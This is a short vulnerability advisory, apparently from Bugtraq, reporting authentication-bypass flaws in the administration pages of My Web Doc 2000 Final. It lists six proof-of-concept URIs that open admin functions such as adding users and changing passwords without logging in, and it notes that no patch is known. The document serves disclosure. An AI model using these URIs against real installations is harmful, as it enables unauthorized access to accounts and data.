My Web Doc Administration Pages Multiple Authentication Bypass Vulnerabilities

Bugtraq ID:	28400
Class:	Access Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Mar 22 2008 12:00AM
Updated:	Mar 25 2008 04:09PM
Credit:	ZoRLu
Vulnerable:	Amhana My Web Doc 2000 Final
Not Vulnerable:

My Web Doc Administration Pages Multiple Authentication Bypass Vulnerabilities

My Web Doc is prone to multiple authentication-bypass vulnerabilities.

Attackers can leverage these issues to compromise the application, which could aid in other attacks.

My Web Doc 2000 Final is vulnerable; other versions may also be affected.

My Web Doc Administration Pages Multiple Authentication Bypass Vulnerabilities

Attackers can use a browser to exploit these issues.

The following proof-of-concept URIs are available:

http://www.example.com/mywebdocadd.php3?x
http://www.example.com/mywebdoccalendaradd.php3?x
http://www.example.com/mywebdoclisting.php3?x
http://www.example.com/mywebdocchangepassword.php3?x
http://www.example.com/mywebdocadduser.php3?x
http://www.example.com/mywebdocuserlisting.php3?x

My Web Doc Administration Pages Multiple Authentication Bypass Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

My Web Doc Administration Pages Multiple Authentication Bypass Vulnerabilities

References:

• My Web Doc Homepage (My Web Doc)